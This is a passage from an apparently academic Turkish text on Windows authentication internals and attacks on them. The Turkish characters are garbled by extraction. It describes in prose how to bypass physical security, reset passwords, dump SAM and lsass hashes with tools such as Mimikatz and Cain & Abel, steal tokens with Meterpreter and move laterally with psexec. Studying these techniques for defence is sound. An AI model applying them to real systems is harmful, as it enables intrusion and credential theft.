lanc ve gruplarnn mevcut oldu§u veritaban vardr. Ortak etki alanlar olmad§ndan
veya herhangi bir bilgisayarda Etki Alan Denetleyicisi bulunmad§ndan merkezi bir
yaplar yoktur. Bundan dolay bir bilgisayarn kullancs veya grubu ba³ka bir bilgisa-
yarn veritabannda bulunmaz, payla³mlar kullanc bazl olamaz, ayr makinalarda ayn
isimde kullanc bulunsa dahi ayn SID de§erine sahip de§ildirler.
Çal³ma gruplarnda kendi bilgisayarlarnn yerel yöneticisi olduklarndan bilgisayarla-
rnda istedi§i de§i³ikli§i yapabilirler. Çal³ma gruplarnda genellikle sistem yöneticili§ini
yapan bir ki³i her bilgisayarda bir yönetici hesab bulundurur. Güvenlik açsndan her bir
yönetici hesabnn ³ifreleri farkl uygulanr. Bu durumda bir bilgisayar ele geçirildi§inde
di§erlerine sçrama zor olmaktadr.
Bir çal³ma grubunda bilgisayar says ço§aldkça yönetim o kadar zorla³r. Genelde bu
say elli ile snrlandrlr.
Sakncal yönleri ise; tamamen kontrol edilemediklerinden, rastgele program yüklemeleri,
istedikleri sitelere girmeleri gibi kontrol edilemez bir yönü mevcuttur. Bu durumda ken-
disi ile birlikte bir takm sakncalarn do§masna sebep olacaktr. Belli bir süre sonra bu
durum yönetilemez hale gelmektedir [5].
1.2.1.3 Security Identiﬁer (SID)
Security Identiﬁer (SID), Windows i³letim sistemlerinde bilgisayarlara, servislere veya
güvenlik grubuna verilen e³siz bir de§erdir. Bütün Windows i³letim sistemlerinde default
olarak bulunan Admin veya Guest hesab gibi genel kullanclar yada genel gruplarn
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SID'leri tanmldr. ³letim sistemleri kullanclarn isimlerini veya kullanc adlar ile
bilmezler. Tamamen SID numaras ile bilirler. Kulllanc silinip yeniden ayn isimle ta-
nmlanrsa SID farkl olacaktr. Çünkü kullanc silindi§inde SID ile birlikte silinir. Bu
yüzden ayn kullanc ilk önce ki SID' alamaz. SID'ler LSA tarafndan olu³turulur, Kayt
defterinde saklanlr. SAM kadar güvenlidirler.
Örnek;
500 Administrator
501 Guest
512 Domain Admins
SID de§eri gerçek ya³amla kyasland§nda insanlarn T.C. numaras gibidir [6][5].
1.2.1.4 Security Access Token (SAT)
Genellikle Windows i³letim sistemlerinde oturum açan kullancy tanmlamak, kullanc
gruplarn ve haklarn belirlemek gibi görevleri yerine getirmede Security Access Token
(SAT) kullanlr. Kimli§i do§rulanan kullanc için bir jeton (token) olu³turup ve bu
jetonun bir kopyasn kullancnn çal³traca§ i³lemci ve i³ parçacklara (thread) ekler.
³letim sistemindeki kullanc yetkilerinin durumu ve uygulanabilirli§i hangi yetkide ol-
du§u vs durumlar jeton içinde sakldr. Herhangi bir kullanc i³leminde kullancya ait
jetona baklarak yetkileri do§rultusunda i³lemin gerçekle³ip gerçekle³tirilmeyece§i belir-
lenir [5].
1.2.1.5 SAM/SYSTEM
SAM ve SYSTEM dosyalar %SystemRoot%\System32\Conﬁg dizinin altnda bulunur.
Windows i³letim sistemlerinin yerel kullanc bilgilerinin sakl olduklar dosyalardr.
Kullanc hesaplarna ait bilgiler SAM (Security Account Manager) dosyasnda tutu-
lur. ³letim sistemi çal³yor iken hiçbir ³ekilde bu dosyalara müdahale edilememektedir
(Özellikle "Tehditler ve Saldrlar" bölümde anlatlan ataklar d³nda). Çünkü Windows
çal³t§ sürece bu dosyalar kendi kontrolünde tutar.
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Bir çok verinin tutuldu§u ve özellikle SAM dosyasnda tutulan kullanc parolalarn ³if-
relemesinde kullanlan SYKES dahil olmak üzere SYSTEM dosyalarnda tutulur. SAM
dosyasnda parolalar özet olarak tutulur, güvenlik nedeni ile kesinlikle açk tutulmazlar.
Özet olarak tutulan parolalarn özetlemesinde i³letim sisteminin versiyonuna ba§l olarak
LM veya NTLM yada her ikisinin özeti ile özetlenir ve SYKES tarafndan ³ifrelenerek
SAM veritabannda tutulurlar.
SAM veritabannda default olarak admin ve guest kullanclar mevcuttur.
Yerel bilgisayarlar d³nda etki alan denetleyicilerinde de SAM veri taban mevcuttur.
Bu veritabannda ise Directory Services Restore Mode'de kullanlan kullanclarn bilgileri
bulunmaktadr [5].
1.2.1.6 NTDS.dit
NTDS.dit Aktif Dizin'nin veritabandr. Aktif Dizin'de olu³turulan her bir obje (Etki
alan kullanc bilgileri, DNS kaytlar, Genel katalog vs) NTDS.dit'te kaydedilir. LDAP
ile yaplan sorgulamalar Aktif Dizin tarafndan olu³turulan objelerde arama yapar dola-
ys ile bu objeler NTDS.dit'te oldu§undan bu arama NTDS.dit üzerinde gerçekle³ir.
1.2.1.7 SMB
SMB (Server Message Block) NETBIOS mimarisinde bir network protokolüdür. Sunucu
iletimi blo§u anlamna gelmektedir. Network protokolü olarak sunucu ile istemci arasnda
ileti³imi gerçekle³tirir. Özellikle yaplan dizin payla³mlarnda; paralel ve seri port pay-
la³mlarnda, bununla birlikte yazc ve yazc benzeri donanmlarda a§ ba§lantlarnn
payla³mlarnda kullanlmaktadr. Ortaya çkan güvenlik zaﬁyetlerinden dolay SMB1,
SMB2 ve SMB3 versiyonlar çkm³trsamba1.
1.2.2 ³lemciler (Processes)
Windows i³letim sistemlerinde kimlik do§rulama yaplrken çe³itli i³lemciler, kullanc
i³lemlerinde görev yapmaktadr. Ba³lca bu i³lemciler a³a§da ki gibi verilmi³tir.
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1.2.2.1 Smss
SMSS %SystemRoot%\System32\smss.exe dizinin altnda olup oturum yöneticisi ola-
rak geçmektedir. Yönetici bilgisayarda oturum açt§nda smss.exe oturum yöneticisi ola-
rak açlr. Windows i³letim sisteminin ba³langç i³lemcisi olan smss.exe özet olarak; ilk
önce iki farkl oturum olu³tur, bu oturumlardan ilki oturum ba³latmak için kulland§
wininit.exe, sonra oturumu açmak için kulland§ winlogon.exe'dir. Bu iki i³lem koor-
dineli olarak gerçekle³tirilir. Ayrca çevresel de§i³kenlerin olu³turulmas, Regeditte bu-
lunan HKLM\System\CurrentControlSet\Control\Session Manager\SubSystems alt sis-
temlerin ve crss.exe i³lemcisininde ba³latlmas gibi temel görevleri vardr. Gerçekle³-
tirdi§i di§er bir i³lem ise HKLM\SYSTEM\CurrentControlSet\Control\Session Mana-
ger\autochk.exe çal³trmasdr[9].
1.2.2.2 Winlogon
Winlogon.exe windir%\System32 dizininin altnda olup SYSTEM haklar ile çal³r. Kul-
lanclarn güvenli etkile³imlerini yönetme, oturum açma ve kapatma i³lemlerinin gerçek-
le³tirilmesi, Logon UI i³lemcisini olu³turmak ve bu i³lemci herhangi bir nedenden dolay
kapand§nda tekrar ba³latmas, Lssas i³lemcisinin ça§rlarak kimlik do§rulama i³lemi-
nin yaplmas, oturum kilitleme, kapatma, ³ifre de§i³tirme, kilitli oturumun açlmas gibi
i³lemlerin gerçekle³tirilmesini koordine eder. Winlogon.exe tarafndan gerçekle³tirilen ve
koordine edilen i³lemlerin yetkisiz bir i³lemcinin okumasn engeller [10].
1.2.2.3 Logon UI
Özet olarak i³lemciler aras sorunlar çözerek sorunsuz bir çal³ma ortam sa§lar. Bununla
birlikte ba³lca görevi kimlik bilgi sa§layclarnn (Credential Provider) yüklenmesini,
oturum açma kapama i³lemlerinde graﬁk arayüzünün getirilmesini sa§lar. Winlogon.exe
tarafndan olu³turulan bir i³lemcidir. Regeditteki etkin olan kimlik bilgi sa§layclar-
nn listesini alr ve bu listede ki her bir sa§laycya winlogonun belirtit§i arayüz graﬁk
bile³enlerini verir. Örne§in; bu bile³enler buton, textbox, layer, vs olabilir [10].
Bölüm 1 Temel Konular 21
1.2.2.4 Lsass
Kullanclar oturum açarlarken bu srada kimlik bilgilerinin do§rulu§unu kontrol eden
ve do§rulayan i³lemcidir. Yerel güvenlik ilkelerinin kullanclar üzerinde uygular, kul-
lancnn parola de§i³tirimesinde rol alr. Kullanclarn yetkileri çerçevesinde kullancya
token olu³turur. Görevinden kaynakl bir durum meydanda geldi§inde bu durumu olay
günlü§üne (Event Viewer) yazan bir i³lemcidir [11].
1.2.2.5 Csrss
%SystemRoot%\System32 dizinin altnda bulunur ve SYSTEM yetkilerinde çal³r. Win32
konsolu ve Thread'lerin kontrolünü sa§lar. Genellikle kullanc modunda gerçekle³en gö-
revlerin, çekirdek moduna eri³mesini engeller. Tek bir oturumu oldu§undan dolay sis-
temde Csrss.exe'nin çal³an ba³ka bir i³lemci mevcut ise muhtemelen zararl yazlmdr.
Windows ³letim sistemlerinin bir çok sürümünde kullanld§ndan saldrganlar tarafn-
dan tercih edilen bir i³lemcidir [9].
1.2.2.6 Credential UI
Credential UI Windows i³letim sisteminde kimlik bilgilerinin yönetimini sa§lar. Kullanc
bilgilerini alr ve kimlik do§rulamak için kar³la³trma yapar. Örne§in; etki alanna dahil
edilmi³ bir bilgisayar Etki Alan Denetleyicisinde (DC) do§rulu§unu kontrol eder. Bu
kontrol esnasnda kimlik do§rulamas için kontrolünü sa§lad§ argümanlar; parola, PIN,
sertiﬁka gibi kullanc kimli§inin ili³kilendirildi§i dijital verilerdir [10].
Genel olarak çal³an i³lemciler ekil 1.9 üzerinde görüldü§ü gibidir.
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ekil 1.9: Çal³an ³lemciler
Bölüm 2
Tehditler ve Saldrlar
2.1 Fiziksel Güvenli§i Atlatma
irket ve kurumlarn, bilgisayar ve bilgisayar grubundaki donanmlar, özellikle veri ba-
kmndan kritik önem derecesindedir. Windows i³letim sistemleri ve etki alannn en
ba³nda gelen tehditlerinden biri ﬁziksel güvenli§i atlatmadr.
Fiziksel güvenlik atlatlarak bilgisayarlarn disk sistemlerine veya veri depolama bölümle-
rine ula³labilmektedir. Fiziksel olarak ula³lan bir bilgisayarn, i³letim sistemine ula³mak
için birçok yöntem mevcuttur. USB veya CD-ROM'dan çal³an live i³letim sistemi ile
ﬁziksel güvenlik olarak atlatlan bilgisayarn i³letim sisteminde gerekli de§i³iklikler sa§-
lanarak istenilen sonuca ula³labilmektedir. Benzer yöntemle ﬁziksel olarak ula³lan bil-
gisayarn, i³letim sistemi yüklü diski disk port çoklayc(dock station) benzeri bir araçla,
çal³an i³letim sistemine takld§nda hedef i³letim sistemine ula³m sa§lanr ve birkaç
de§i³iklikle istenen sonuca ula³labilir.
Farkl bir yöntem olarak, i³letim sistemi BIOS'tan boot ksm ³ifrelenmemi³se veya ³ifre
atlatlabiliyorsa boot edilerek istenen sonuca ula³labilir. Bahsedilen bu durum detayl
olarak konu 2.1.1 ve ³ekil A.1 üzerinde anlatlm³tr.
Temel olarak a³a§daki saldr teknik ve yöntemler kullanlabilir.
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2.1.1 Tak Çal³tr(Live CD)/USB Bellek ile Açma
Sanal makina dosyalarna ya da ﬁziksel olarak eri³imi sa§lanan i³letim sistemleri içinde
barndrlan dosya ve dizinlere Live CD ya da USB Bellek kullanlarak eri³mek mümkün-
dür. Bu i³lemi gerçekle³tirmek için i³letim sisteminin yeniden ba³latlmas ya da kapal
iken açlmas, sonrasnda gerekiyorsa BIOS'tan Live CD ve USB Bellekten ba³latma se-
çene§i aktive edilerek i³letim sistemi dosyalarnn bulundu§u saklama alannn (disk vs.)
içeri§ine eri³im sa§lanabilir. Saldr detaylar ekran çktlar ile birlikte EK A.1 konusunda
verilmi³tir.
2.1.2 Parola Özetlerini çeren Dosyalar ve Bu Özetleri Elde Etme
Windows i³letim sistemlerinin SAM ve SYSTEM dosyalarnda yerel kullanclarn hesap
bilgileri mevcuttur. Ayn ³ekilde sunucularda aktif dizinin veritaban olan NTDS.dit dos-
yas etki alan kullanclarnn bilgilerini saklar. Windows i³letim sistemli veya kullanc
kaynakl olu³an tehditler sonucu yaplan saldrlarda bu dosyalar ele geçirilerek kulla-
nc hesap özetlerine ula³lr. Bu dosyalar hakknda daha detayl bilgi Konu 1.2.1'de yer
almaktadr.
2.1.2.1 Samdump2 ve Bkhive Araçlar ile Yerel Kullanc Parola Özetlerini
Elde Etme
Fiziksel olarak ula³labilen bir bilgisayardan elde edilen `SAM' ve `SYSTEM' dosyalarn-
dan `samdump2' ve `bkhive' araçlar ile yerel kullanclarn parola özetleri elde edilebi-
lemktedir. EK A.1 konusunda anlatld§ üzere `SAM' ve `SYSTEM' dosyalar elde edilir.
Saldr detaylar ekran çktlar ile birlikte EK A.2 'de verilmi³tir.
2.1.2.2 Ophcrack Arac ile Yerel Kullanc Parola Özetlerini Elde Etme
Fiziksel olarak ula³labilen bir bilgisayardan elde edilen `SAM' ve `SYSTEM' dosya-
lar Ophcrack aracna verilerek yerel kullanclarn parola özetleri elde edilebilmektedir.
`SAM' ve `SYSTEM' dosyalarnn nasl elde edilebildi§i EK A.1 'de verilmi³tir. Bu dosya-
lar Ophcrack arac kullanlarak içinde bulunan parola özetleri alnabilir. Saldr detaylar
ekran çktlar ile birlikte EK A.3'te verilmi³tir.
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2.1.2.3 Cain & Abel Arac ile SAM ve SYSTEM Dosyalarndan Yerel Kul-
lanclarn Parola Özetlerinin Elde Edilmesi
Fiziksel olarak eri³im sa§lanan Windows i³letim sistemli bir bilgisayarn `SAM' ve `SYS-
TEM' dosyalar EK A.1'de kullanlan yöntemler ile elde edilir. Kaynak bilgisayarda `Cain
& Abel' arac çal³trlr ve dosyalar araca verilir. Araç bu dosyalardan hesap özetlerini
okur ve çktsn ekrana verir. Saldr detaylar ekran çktlar ile birlikte EK A.4'te ve-
rilmi³tir.
2.1.3 ³letim Sistemi Oturumuna / Komut Satrna Eri³im
Fiziksel olarak ele geçirilen Windows i³letim sistemli bir bilgisayar, EK A.5 veya EK
A.6'da anlatlan benzer bir yöntem kullanlarak `cmd' komut satrna ula³labilir. Eri³im
sa§lanan komut satr ile yetkili bir hesap olu³turulabilir veya elde edilebilmektedir. Ya
da var olan yetkili hesabn parolas EK A.7'de anlatld§ yöntemler ile sfrlanarak hesap
elde edilmeye çal³lr. Bu i³lemler i³letim sistemli veya kullanc kaynakl olu³an tehditler
sonucu, yaplacak saldrlarla a³a§daki gibi gerçekle³tirilebilmektedir.
2.1.3.1 Windows'u Repair Modunda Ba³latma
Windows i³letim sistemli bilgisayar düzensiz çal³trlarak repair modunda ba³lamas sa§-
lanr. Açlrken gerekli yönergeler takip edilerek i³letim sistemi dosyalarna ula³lr. Daha
sonra saldr amacna yönelik i³lemler gerçekle³tirilir. Saldr detaylar ekran çktlar ile
birlikte EK A.5'te verilmi³tir.
2.1.3.2 Utilman.exe ve Sethc.exe Ksayollarn stismar
Windows i³letim sistemine disk seviyesinde eri³im sa§ladktan sonra `Utilman.exe' ve
`setch.exe' gibi Windows uygulamalar `cmd.exe ile' de§i³tirilerek i³letim sistemine eri³im
sa§lanabilir. Eri³im sa§lanan komut sistemi ile yeni bir kullanc olu³turulur ve gerekli
yetkiler verilerek i³lem sonuçlanr. Saldr detaylar ekran çktlar ile birlikte EK A.6'da
verilmi³tir.
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2.1.3.3 Hirens Boot ile Parola Sfrlama
Bilgisayarn BIOS ayarlarna eri³im sa§landktan sonra CD veya USB'den çal³acak ³e-
kilde ayarlar yaplr. `Live CD' ya da bu i³ için özelle³mi³ `Hirens Boot' gibi araçlar
kullanlarak bilgisayarn sabit disk içeri§ine eri³im sa§lanabilir (disk ³ifreleme kullanl-
mam³sa). Eri³ilen disk üzerinden kullancnn parolas de§i³tirilebilir. Saldr detaylar
ekran çktlar ile birlikte EK A.7'de verilmi³tir.
2.1.3.4 CHNTPW ile Parola Sfrlama
Bilgisayarn BIOS ayarlarna eri³im sa§landktan sonra CD veya USB'den çal³acak ³e-
kilde ayarlar yaplr. Hedef bilgisayar sanal veya Kali i³letim sistemi (`CHNTPW' yüklü
Linux tabanl herhangi bir i³letim sistemi ile de i³lem gerçekle³tirilebilir.) çal³an CD
üzerinden ba³latlr ve disk içeri§ine eri³im sa§lanr (disk ³ifreleme kullanlmam³sa).
`CHNTPW' arac ile `SAM' dosyas kullanlarak kullanc parolas sfrlanabilir. Saldr
detaylar ekran çktlar ile birlikte EK A.8'de verilmi³tir.
2.2 Çal³an Sistemde SAM/SYSTEM ve Hesap Özetlerinin
Elde Edilmesi
Windows i³letim sistemi `SAM' ve `SYSTEM' dosyalar üzerinden kimlik do§rulama yap-
t§ndan dolay bu dosyalar genelde saldrganlarn hedeﬁndedir. Bu dosylar veya içerisin-
deki özetler ele geçirildi§inde bu bilgilerle bilgisayarda eri³im elde edilerek a§a yaylmaya
çal³lr.
Windows i³letim sistemli veya kullanc kaynakl tehditler sonucu yaplan saldrlarda
yerel yönetici haklar ile hesap özetlerini elde etme yöntemi, temel olarak a³a§daki saldr
teknik ve yöntemler kullanlarak gerçekle³tirilir.
2.2.1 Yerel Yönetici Haklar ile SAM ve SYSTEM Dosyalarnn Elde
Edilmesi
Windows i³letim sistemli bir bilgisayarn oturumu ele geçirilip ve `SAM' dosyas alnmak
istendi§inde i³letim sistemi izin vermemektedir. Ancak bu i³lemi komut satr aracl§yla
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kayt defteri üzerinden alnabilir. Saldr detaylar ekran çktlar ile birlikte EK B.1
konusunda verilmi³tir.
2.2.2 Cain & Abel ile Yerel Hesaplara Ait Parola Özetlerinin Elde
edilmesi
Windows i³letim sistemli bir bilgisayarn oturumu ele geçirilip `SAM' ve `SYSTEM' dos-
yalar alnmak istendi§inde Windows i³letim sistemi bu duruma izin vermemektedir.
Ancak bu i³lem `Cain & Abel' arac ile gerçekle³tirilebilmektedir. Saldr detaylar ekran
çktlar ile birlikte EK B.2 konusunda verilmi³tir.
2.2.3 Hashdump Modülü ile Parola Özetlerinin Elde Edilmesi
Konu 2.7 ve 2.9 üzerinde anlatlan saldrlarda sistem ele geçirildikten sonra EK C üze-
rinde yaplan saldrlar yöntemi ile gerekli haklar elde edilir. Bu haklar ile yetkili bir
proses üzerinden `hashdump' modülü çal³trlarak yerel kullanclara ait hesap özetleri
elde edilir. Saldr detaylar ekran çktlar ile birlikte EK B.3 konusunda verilmi³tir.
2.2.4 Hashdump Modülü ile Yerel Hesap Özetlerinin Elde Edilmesi
Konu 2.7 ve 2.9 üzerinde anlatlan saldrlarda sistem ele geçirildikten sonra EK C üze-
rinde yaplan saldrlar yöntemi ile gerekli haklar elde edilir. Bu haklar ile yetkili bir
proses üzerinden hashdump modülünde iken `hashdump' komutu verilerek yerel kulla-
nclara ait hesap özetleri elde edilir. Saldr detaylar ekran çktlar ile birlikte EK B.4
konusunda verilmi³tir.
2.2.5 Smart_HashdumpModülü ile Etki Alan Üzerindeki Hesap Özet-
lerini Elde Etme
Konu 2.7 ve 2.9 üzerinde anlatlan saldrlarda sistem ele geçirildikten sonra EK C üze-
rinde yaplan saldrlar yöntemi ile gerekli haklar elde edilir. Bu haklar ile yetkili bir
proses üzerinden `smart_hashdump' modülü çal³trlarak domain ve yerel kullanclara
ait hesap özetleri elde edilir. Saldr detaylar ekran çktlar ile birlikte EK B.5 konusunda
verilmi³tir.
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2.3 RAM Üzerinde Kaytl Jetonlar Elde Etme
Windows i³letim sistemi veya kullanc kaynakl tehditler sonucu yaplan saldrlarda
ula³lm³ bir bilgisayarda bulunan tüm jetonlar listelenerek önemli bir hesaba ait (`Do-
main Admin' üyeleri gibi) jeton bulunmaya çal³lr. E§er çal³malar sonucunda önemli
bir hesap elde edilirse `Meterpreter'da `steal_token', `migrate' veya `incognito' eklentisi
kullanlarak ilgili hesap kimli§ine bürünülebilir.
RAM üzerinde kaytl jetonlar elde etme konusunda temel olarak a³a§daki saldr teknik
ve yöntemleri kullanlabilir.
2.3.1 Steal_Token Modülü ile Ba³ka Bir Hesabn Kimli§ine Bürünme
Ula³lmas gereken herhangi bir dosya ba³ka kullancnn yetkisindedir. Bu dosyay oku-
mak ya da de§i³iklik yapabilmek için üzerinde yetkisi bulunan kullancnn kimli§ine
bürünmek gerekir. Bu i³lem için `Metasploit' aracnn `steal_token' modülü ile ula³l-
mas gereken dosyaya eri³im sa§lanarak dosya üzerinde okuma yazma hakk elde edilir.
Saldr detaylar ekran çktlar ile birlikte EK C.1 konusunda verilmi³tir.
2.3.2 Migrate Modülü ile Ba³ka Bir Hesabn Kimli§ine Bürünme
Ula³lmas gereken herhangi bir dosya ba³ka kullancnn yetkisindedir. Bu dosyay oku-
mak ya da üzerinde de§i³iklik yapabilmek için dosya üzerinde yetkisi olan kullancnn
yetkisine bürünmek gerekir. Bu i³lem `Metasploit` aracnn `migrate' modülü ile ger-
çekle³tirilebilir. Öncelikle yetkili kullancnn prosesleri listelenir. Listelenen proseslerden
yetkili kullancya ait uygun bir proses seçilir ve `migrate' modülü ile prosese girilir. ³lem
sonucunda ula³lmas gereken dosyaya eri³im sa§lanarak dosya üzerinde okuma yazma
hakk elde edilir. Saldr detaylar ekran çktlar ile birlikte EK C.2 konusunda verilmi³tir.
2.3.3 ncognito Modülü ile Ba³ka Bir Hesabn Kimli§ine Bürünme
Ba³ka kullancnn yetkisinde olan bir dosyaya eri³im sa§lanarak okuma yazma hakk
elde edilecektir. Dosyaya eri³ilerek okuma yada üzerinde de§i³iklik yapabilmek için yetkili
olan kullancnn kimli§ine bürünmek gerekir. Bu i³lem `Metasploit' aracnn `incognito'
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modülü ile yaplabilir. Sistem zaﬁyetinden faydalanarak `Metasploit' ile sisteme eri³im
sa§lanr. Sonra yetkili kullancnn prosesleri ve jetonlar listelenir. Listelenen jetonlardan
yetkili kullancya ait olan jeton `incognito' modülü ile kullanlarak ilgili dosyada okuma
yazma hakk elde edilir. Saldr detaylar ekran çktlar ile birlikte EK C.3 konusunda
verilmi³tir.
2.4 RAM Üzerindeki Kaytl Parolalar Elde Etme
Windows i³letim sistemi veya kullanc kaynakl olu³an tehditlere yaplan saldrlarda;
yetkili eri³im sa§landktan sonraki admlardan birisi bellek üzerinden parolalarn açk
halde elde edilmesi admdr. Bu adm gerçekle³tirmek için `Mimikatz' ve `WCE' araçlar
kullanlacaktr. Bu araçlara benzer i³lemler yapan birçok araç mevcuttur.
`Mimikatz' ve `WCE' araçlar temel olarak bellek üzerindeki kimlik do§rulama paket-
lerinden (authentication packages) kimlik bilgilerini (Parola özeti, ³ifrelenmi³ parola ve
kullanc ad gibi) okur.
SSP (Security Support Provider) 'ler ile parola bilgisi ³ifreli bir halde bellekte tutulur
ve Windows i³letim sisteminin birçok sürümünde varsaylan olarak gelir. Bu yüzden
`Mimikatz' ve `WCE' araçlar ile 32 bit ve 64 bit i³letim sistemlerinden XP, 2003, 2008,
Windows Vista, 7, 8, Server 2008 R2 ve Server 8 çal³arak sonuç elde edebilmektedir.
RAM üzerindeki kaytl parolalar elde etme konusunda temel olarak a³a§daki saldr
teknik ve yöntemleri kullanlabilir.
2.4.1 Mimikatz Arac ile RAM Üzerindeki Parolann Açk Halde Elde
Edilmesi
Fiziksel yöntemler kullanlarak (Baknz EK A) veya zaﬁyetlerden faydalanlarak (Bak-
nz: EK G) ele geçirilmi³ bir Windows i³letim sistemi üzerinde `Mimikatz' arac komut
satr yardm ile çal³trlr. Komut satrnda iken gerekli mimikatz komutlar verilerek
ram üzerinde bulunan Windows i³letim sistemi kimlik do§rulama paketlerinden parola
ve kullanc bilgileri ele geçirilir. Saldr detaylar ekran çktlar ile birlikte EK D.1 ko-
nusunda verilmi³tir.
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2.4.2 WCE Arac ile RAMÜzerindeki Parolann Açk Halde Elde Edil-
mesi
Fiziksel yöntemler kullanlarak (Baknz: EK A) veya zaﬁyetlerden faydalanlarak (Bak-
nz: EK G) ele geçirilmi³ bir Windows i³letim sistemi üzerinde `WCE' arac komut satr
yardm ile çal³trlr. `WCE' çal³trldktan sonra ram üzerinde bulunan Windows i³le-
tim sistemi kimlik do§rulama paketlerinden parola/parola özeti ve kullanc bilgileri ele
geçirilir. Saldr detaylar ekran çktlar ile birlikte EK D.2 konusunda verilmi³tir.
2.4.3 Lsass Prosesine Ait Dump Dosyasndan Mimikatz Arac ile Pa-
rolalarn Elde Edilmesi
Fiziksel yöntemler kullanlarak (Baknz: EK A) veya zaﬁyetlerden faydalanlarak (Ba-
knz: EK G) ele geçirilmi³ bir Windows i³letim sistemi üzerinde görev yöneticisi (task
manager) çal³trlr. `Processes' lere tklanp `lsass.exe' bulunur. `Lsass.exe' bulunduk-
tan sonra üzerindeyken sa§ tklayp `Create Dump File' seçilir ve prosesin dump' alnr.
Daha sonra bu dump dosyas `Mimikatz' aracna verilerek sistem üzerinde oturumu bu-
lunan bütün kullanclarn parola ve kullanc bilgileri ele geçirilir. Saldr detaylar ekran
çktlar ile birlikte EK D.3 konusunda verilmi³tir.
2.5 Parola ve Parola Özetleri Kullanlarak Bilgisayarda Eri-
³im Elde Etme
Parola ve parola özetleri kullanlarak bilgisayarda eri³im elde etme konusunda temel
olarak a³a§daki saldr teknik ve yöntemler kullanlabilir.
2.5.1 Hydra Modülü Kullanlarak Kaba Kuvvet Yöntemi ile Kullanc
ve Parola Bilgilerini Elde Etme
Windows i³letim sisteminden veya kullancdan kaynaklanan tehditler sonucu saldrgan-
lar tarafndan yaplan saldrlarda i³letim sistemine ait yetkili eri³im sa§landktan sonra
(kullanc ve parola) kullanlarak ba³ka bilgisayarlara szmaya çal³rlar. Bu saldrlar
genelde kurum içine yaplmaya çal³ld§nda saldrgan a§daki Windows i³letim sistemli
Bölüm 2 Tehditler ve Saldrlar 31
bilgisayarlarda TCP/445. Portu açk olan IP üzerinden elde etti§i kullanc adlar ile
parolalar birlikte `Hydra' aracna vererek ilgili IP'li bilgisayarda oturum açm³ kullan-
clarn bilgileri elde edilir. Saldr detaylar ekran çktlar ile birlikte EK E.1 konusunda
verilmi³tir.
2.5.2 SMB_login Modülü Kullanlarak Kaba Kuvvet Yöntemi ile Pa-
rola ve Parola Özeti Elde Etme
Kurumlarda genelde bilgisayar i³letim sistemleri yüklenirken do§rudan bir i³letim sistemi
yüklemek ve sonra programlar tek tek yüklemek oldukça zaman alan bir durumdur. Bu
yüzden imaj yolu ile daha ksa sürede yaplr. Ancak bu durum baz açklklarn meydana
çkmasn sebep olmaktadr.
maj olu³turulurken yeni bir yerel kullanc eklenir veya Windows i³letim sisteminin
default kullanclar kullanlr. Bu kullanclar için yeni bir parola eklenir veya default
olarak braklr. Bu özellikteki imaj, kurum veya kurulu³larn hemen hemen bütün bilgi-
sayarlarna kurulur. majda gömülü kullanc bilgileri silinmedikçe veya de§i³tirilmedikçe
imajla kurulumu yaplan bütün bilgisayarlar bu bilgileri barndrr. Kullanc kaynakl
ve Windows zaﬁyeti sonucu bu tehdite kar³ yaplan saldrlarda `Metasploit' aracnn
`SMB_login' modülü kullanlarak o a§daki bütün bilgisayarlar ele geçirilebilir. Bu durum
için 2.1 ve 2.2 konularnda anlatld§ üzere kulanc kimlik bilgileri elde edilmesi gerekir.
Ayrca Nmap tarz taramalarla a§ içi IP'ler de elde edilmelidir. Elde edilen kimlik bilgi-
leri (Kullanc ad ve parola/arola özeti) Windows bilgisayarlarda TCP/445. portu açk
olan IP listesi, `SMB_login' aracna verilerek di§er bilgisayarlara szlr. Saldr detaylar
ekran çktlar ile birlikte EK E.2 konusunda verilmi³tir.
2.5.3 Smb_Enumusers_Domain Modülü ile Windows Bilgisayarlarda
Jetonu Bulunan Hesaplarn Tespit Edilmesi
Windows i³letim sistemi veya kullanc kaynakl tehditler sonucu yaplan saldrlarda her-
hangi bir yöntemle elde edilen kimlik bilgisi (Kullanc ad ve Parola/Parola özeti) kulla-
nlarak ula³labilen bilgisayarlarda oturumu açk olan veya bir ³ekilde çal³an prosesi bu-
lunan hesaplarn listesi elde edilebilir. Windows bilgisayarlarda TCP/445. portu açk olan
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IP listesi ve kullanc kimlik bilgileri kullanlarak ele geçirilmi³ IP listesinde ba³ka kullan-
clarn jetonu olup olmad§ kontrol etmek için metasploit aracnn `smb_enumusers_do
main' auxiliary modülü kullanlarak saldr yaplr. Saldr detaylar ekran çktlar ile
birlikte EK E.3 konusunda verilmi³tir.
2.5.4 MSF Psexec stismar Modülü ile Meterpreter Ba§lants Elde
Etme
Tehditler sonucu yaplan saldrlarda Windows i³letim sistemli bir bilgisayar herhangi bir
yöntemle elde edilen kimlik bilgileri (Kullanc ad ve parola/parola özeti) kullanlarak
ula³lmaya çal³lr. Daha önceki 2.4 veya 2.2 konusunun altba³lklarnda i³lenmi³ olan ve
elde edilen kullanc bilgileri (Kullanc ad, parola/parola özeti ve IP) kullanlarak `pse-
xec' istismar modülü ile `Meterpreter' ba§lants sa§lanacaktr. `Msfconsol' çal³trlarak
`psexec' istismar modülüne girilir. Elde edilen IP, kullanc ad ve parola bilgileri psexec
modülünün ayarlarna girilir. Modül exploit edilerek hedef bilgisayarda ba§lant sa§lanr.
Saldr detaylar ekran çktlar ile birlikte EK E.4 konusunda verilmi³tir.
2.5.5 Psexec_Psh stismar Modülü ile Meterpreter Ba§lants Elde
Etme
Windows i³letim sistemi veya kullanc kaynakl tehditler sonucu yaplan saldrlarda
Windows i³letim sistemli bir bilgisayarn herhangi bir yöntemle elde edilen kimlik bilgileri
(Kullanc ad ve Parola/Parola özeti) kullanlarak ula³lmaya çal³lr. Daha önceki 2.1,
2.2 ve 2.4 konularnn altba³lklarnda i³lenen ve bu do§rultuda elde edilen kullanc
bilgileri (Kullanc Ad, Parola/Parola Özeti ve IP) kullanlarak `psexec_psh' istismar
modülü ile `Meterpreter' ba§lants sa§lanacaktr. `Psexec_psh' modülüne girilir. Modül
ayarlarna hedef IP, kullanc ad ve parola bilgisi eklenir. Ayarlar yapldktan sonra modül
exploit edilerek hedef bilgisayarda ba§lant sa§lanr. Saldr detaylar ekran çktlar ile
birlikte EK E.5 konusunda verilmi³tir.
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2.5.6 Yönetici Parola Özetini WCE Aracna Vererek Uzak Bilgisayarn
Komut Satrna Eri³im Sa§lanmas
Windows i³letim sistemi veya kullanc kaynakl olu³an tehditler sonucu yaplan saldr-
larda herhangi bir yöntemle kimlik bilgileri (Kullanc ad ve Parola/Parola özeti) elde
